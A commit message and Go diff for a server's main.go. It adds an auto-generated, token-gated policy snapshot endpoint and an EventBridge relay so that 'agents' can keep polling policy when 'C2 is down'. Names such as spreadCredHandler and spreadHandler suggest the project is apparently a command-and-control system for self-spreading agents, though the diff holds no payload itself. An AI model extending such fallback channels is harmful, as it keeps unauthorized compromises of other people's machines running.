Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/main.go

@@ -1,4 +1,4 @@
-package main
+package main
 
 import (
 	"context"
@@ -107,6 +107,20 @@ func main() {
 		log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
 	}
 
+	if cfg.Server.PolicySnapshotToken == "" {
+		b := make([]byte, 16)
+		if _, err := rand.Read(b); err != nil {
+			log.Printf("[policy] Warning: could not generate policy snapshot token: %v", err)
+		} else {
+			cfg.Server.PolicySnapshotToken = hex.EncodeToString(b)
+			if err := cfg.Save(); err != nil {
+				log.Printf("[policy] Warning: could not persist policy snapshot token: %v", err)
+			} else {
+				log.Printf("[policy] Policy snapshot token generated and saved")
+			}
+		}
+	}
+
 	// Ensure data directories exist
 	dirs := []string{
 		cfg.DataDir,
@@ -322,6 +336,23 @@ func main() {
 	pathTracerHandler := api.NewPathTracerHandler(wsHub)
 	deployPlanHandler.BindPathTracer(pathTracerHandler)
 	spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler)
+	policyFanoutCfgFn := func() api.PolicyFanoutConfig {
+		return api.PolicyFanoutConfig{
+			Token:         cfg.Server.PolicySnapshotToken,
+			RelayURL:      cfg.Server.EventBridgeRelayURL,
+			PublicBaseURL: func() string { return configProvider.PublicURL() },
+		}
+	}
+	publicHandler.BindPolicySnapshot(
+		func() (api.PolicySnapshot, error) {
+			return api.BuildPolicySnapshot(database, pathTracerHandler, policyFanoutCfgFn())
+		},
+		func() string { return cfg.Server.PolicySnapshotToken },
+	)
+	spreadHandler.BindPolicyFanout(pathTracerHandler, policyFanoutCfgFn)
+	wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
+		return configProvider.PublicURL()
+	})
 
 	seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database}
 	fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{
@@ -437,6 +468,17 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
 			ErasureLanesEnabled:   cfg.Server.ErasureLanesEnabled,
 			FleetTorrentEnabled:   cfg.Server.FleetTorrentEnabled,
 		})
+		publicBase := strings.TrimSpace(cfg.Server.PublicURL)
+		if publicBase == "" {
+			port := cfg.Port
+			if port <= 0 {
+				port = 8989
+			}
+			publicBase = fmt.Sprintf("http://127.0.0.1:%d", port)
+		}
+		wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
+			return publicBase
+		})
 	}
 	if poolManager != nil {
 		poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)